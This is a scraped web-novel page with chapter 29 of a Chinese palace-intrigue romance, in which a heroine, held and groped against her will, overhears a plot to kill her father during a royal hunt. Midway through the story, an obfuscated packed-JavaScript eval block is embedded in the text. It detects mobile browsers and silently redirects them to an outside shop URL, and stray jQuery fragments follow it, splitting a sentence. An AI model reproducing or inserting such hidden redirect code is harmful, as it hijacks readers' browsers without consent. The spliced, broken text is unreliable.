默认冷灰
24号文字
方正启体

29. 逗猫

作者:十九笙本书字数:K更新时间:
    明榆突然开始挣扎,但玄枵好像知道她会反抗一样,紧紧地圈住她。


    “还有你身边的那个侍卫,他也知道吗?”


    明榆想拽下脖子间的那只手,奈何男女力量悬殊太大,那点力量无异于蚍蜉撼树。


    他的声音犹如在耳畔萦绕,他越说越轻,唇贴着耳垂,舌尖舔过耳轮,惹得怀中姑娘战栗不已。


    越是这样,明榆越想挣脱,她用指甲狠狠地抓着他的手臂,留下一道道血痕,沁出的血珠渗入指甲缝中,像染了丹寇一样。


    可他仿佛感觉不到疼痛,任由明榆抓着。


    玄枵在明榆锁骨上咬了一口当做惩罚,他咬的不轻不重,刚好是一小圈牙印。


    明榆鼻尖酸涩,小脸上的五官挤在一起,说话也带着点哭腔,“好疼……”


    “忍一忍吧。”玄枵笑道,“我的胳膊也好疼呢……”


    “我帮郡主吹吹吧。”


    玄枵忽然换了称呼,有说不出的怪异感。


    接着,明榆感到肩膀处有一阵热气,疼痛并没有缓解,反而又疼又痒。


    明榆无力道:“放开我。”


    玄枵漫不经心道:“你不是想知道我对你做了什么吗?现在不想知道啦。”


    真是疯子。


    明榆闭上眼,她分明很厌恶这种触碰,但是身体却不自主地适应了。如此矛盾,明榆内心泛恶心,不是恶心其他,而是恶心自己。


    “你喜欢这种感觉,对吗?”玄枵很残忍地撕破了明榆面上的那层纱,羞耻感赤/裸/裸地暴露出来。


    玄枵感到有滚烫的东西淌到手臂上,淹着抓痕还有些刺痛。


    好像是眼泪?


    明榆不再说话,小声地抽泣着,眼眶中蓄了很久的眼泪一滴一滴流下。


    “你真的很讨厌。”


    玄枵不以为意,“我当然知道。”


    他帮明榆擦干眼泪,“别哭了,我送你份礼物。”


    为了防止明榆回头,玄枵一直把手搭在明榆的脖子上,一把带起明榆,引着她往前走。


    “一会千万别出声哦。”他警告。


    玄枵带着明榆来到窗边,这扇窗是安在两间厢房之间。


    这会儿,明榆又听见有几人在交谈,但是还是听不清,直到玄枵将窗推开了一条小缝。


    窗边有一个凳子,玄枵坐下后搂着明榆,让她坐自己腿上。


    明榆自是不肯,但也不敢闹出很大的动静,因为她看见国师在隔壁。


    玄枵几乎是把她摁下的,折腾了半天才变乖。


    玄枵把脸枕在明榆的肩膀上,眯了眯眼,眼中藏着些疲惫之态,“错过了,可别后悔。”


    明榆回过神来,她听见一个了沧桑的声音。


    应该是国师在说话。


    苍梧道:“下个月的围猎准备的怎么样了。”


    另一个人的声音带着谄媚,“万无一失。这会儿定叫明忠有去无回。”


    明榆瞪大了眼睛,捂住嘴巴。


    可能是明榆情绪有些激动,玄枵感到怀中的姑娘动来动去,蹭着大腿,内心莫名一阵燥热。


    “别乱动。”


    说完,他又把头埋进明榆颈间,贪婪地嗅着她身上的香味。


    明榆立马不敢动了,逐渐地冷静下来。


    先不论玄枵究竟是何用意,父亲的安危才是重中之重。


    父亲虽让权多年,在朝中颇有声望,但也因此遭人忌惮。在家上父亲极力反对星宿楼用人身练蛊,惹齐帝不快。


    下个月的围猎,齐帝盛邀文武百官在盟山举行围猎,明家毅然在名单上。


    明忠本打算不去的,自从上次与国师那一番较量,他便不再与国师发生正面冲突,只得多派些人在街上巡逻,见到星宿楼抓人就上前阻止,能让他们少抓一人是一人。


    可这次,齐帝已然下旨,请帖已经送上府了,明忠便无法拒绝。


    苍梧道:“陛下也觉得明忠太碍事了。”


    齐帝觉得明忠三番五次阻拦他的长生之计,早就想杀之而后快。可明忠又是开国重臣,直接杀了定会引起议论。不如借围猎的机会,不慎摔下马落入猎物的口腹,倒也合情合理。


    “那明家的世子和郡主怎么办?”


    另一个人的声音很陌生,而且他背对着明榆,看不见他的脸。


    “暂且不动。明家那小丫头是萧蔚川软肋,必要时候,会有大用处。”


    明榆就算再傻,听了苍梧的话也明白了,自己是蔚川哥哥的软肋。可她不知自己在他心里竟然那么重要,而自己却只是把他当做兄长……


    玄枵起初绑架她,也是这个缘故。


    明榆心一揪,还不知道自己拖累了蔚川哥哥多少……


    玄枵将明榆眼中的歉意看在眼里,不屑地冷笑一声,“这就心疼了?”他掐了一下明榆的细腰。


    明榆本能地蜷起身子,告诉自己不能冲动,先与玄枵虚与委蛇一番,弄清下月围猎一事,所以并没反抗。


    苍梧又道:“这次,要一箭双雕。既要明忠的命,又要萧蔚川彻底在陛下面前失了信。”


    第一次萧蔚川带兵围剿星宿楼,触怒圣威,有挑战皇权之嫌,第二次萧蔚川自愿献出心头血以表孝心,齐帝才又多看了他几眼,可他暗中也在阻挠练蛊的计划。


    齐帝自是不痛快,觉得这儿子无非就是做着表面功夫,心里也巴不得他赶紧死,好继承皇位。


    如今,只需轻轻一击,他们父子二人的关系便再无修复的机会。


    对面那人应承道:“是,是,是。”


    苍梧道:“玄枵那边我会让他……”


    接下来的明榆就没听见了,玄枵掐着她的后颈,让她走在前面,把她带走了。


    玄枵手上用了些力,明榆呼吸一窒。


    先前还算温柔,才过一会儿,他手上的动作就粗鲁起来。


    “今日之事,直到该怎么办吧。”


    玄枵这话不像是在问她,而是像在陈述着什么。


    “你为什么帮我?”


    明榆还不会天真到以为是玄枵良心发现,才大发慈悲地告诉她这些。


    玄枵不耐烦道:“我还没玩够,明忠不能死。”他说这些,已然是耗尽了耐心,懒得再解释。


    不等明榆思考,玄枵便打开了房门,一把把明榆推了出去,然后关上了门。


    门外早有人候着,是那个带明榆上来的小厮。


    回去的路上,明榆在思考,若是在围


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482470|136033||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    猎时动手,造成父亲是不慎跌马落入猎物口腹的假象。要么在马上动手脚,要么在猎物上动手脚。


    可皇家围猎向来不会在山上养凶猛异常的野兽,最多也就是鹿、野猪什么的,连狼也不曾有。


    若是马还好说,狩猎开始前找个理由换一匹便是,若是凶兽该如何是好?


    明榆只能想到这么多。


    而且又怎么能确定方才那一幕不是故意做戏给她看的呢?


    就算把这些告诉父亲,父亲会信吗?


    越想越乱,明榆揉了揉脸,忽然锁骨上的痛感传来,她不由得苦着脸。


    怎么差点忘了这茬。这牙印要是被旁人看见了,也解释不清。


    明榆拉起衣襟,遮住了牙印。


    刚到家,明忠就带着怒气:“你胆子太大了,那是什么地方你知道吗就敢进去?”


    当时彩蝶来禀报时,他还不信,一向胆小的阿榆怎么敢去那种地方,再三确认后,明忠差点没被急死。


    “我知道,我只是心中有疑才跟了上去的。”明榆搀着明忠的胳膊,“我现在不是没事嘛。”


    往日,明榆一撒娇,明忠的心便软下去了,但在星宿楼这件事上,明忠格外谨慎,他严肃道:“这岂是儿戏?心中有疑就跟上去,你听听这是什么理由?你就不怕他们真的杀了你?还是说你仗着二殿下,料到他们不会把你怎么样?”


    明忠几乎没对明榆说过几句重话,但眼下情景,也不得不好好警告一下女儿。


    “父亲您怎么能这么说?”明榆撒手,负气离开,她再也不要理父亲了,头也不回的就走了。


    明忠一甩袖子,“真是给我惯坏了。”


    陈管家上来给武王顺着气,“您的苦心郡主会明白的。”


    “我话还没说呢,她就……就……”


    陈管家也没听清明忠在说什么,只管答应着,“是,是,郡主任性了。”


    *


    闻宴弯着眼,“郡主不高兴?”


    “没有啊。”


    明榆装作什么事都没发生。


    闻宴:“生气可是会变丑的哦。”


    明榆还在嘴硬,“我又没生气,怎么会变丑。”


    老是说她会变丑,说大话也会变丑,生气也会变丑,真的假的啊,她不自觉地摸了摸自己的脸。


    闻宴道:“郡主不会是被武王责怪了吧。”


    明榆一脸不可思议,脸上一点事都藏不住,“你怎么知道的?”


    闻宴故作深奥,伸出手指晃了晃,“我掐指一算,算出来的。”


    “……”


    接着,明榆被闻宴露出来的那小节胳膊吸引了目光,“你受伤了?”


    闻宴不以为意,“下午逗猫的时候,不小心被挠了。那只猫真顽皮,下次逮着了先拴起来再逗。”


    被猫挠了不是小事,之前明榆听过有的人被狗咬了,没过多久就得疯病死了。她赶紧撩起闻宴的袖子,看看伤口。


    一道道伤口,很深,应该是流了不少血。


    但看伤口,像是被抓的,又不像是刀划的。


    “这真的是被猫抓的吗?”


    闻宴收回了手,也不知道是心虚,还是不想让明榆看,“当然是了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)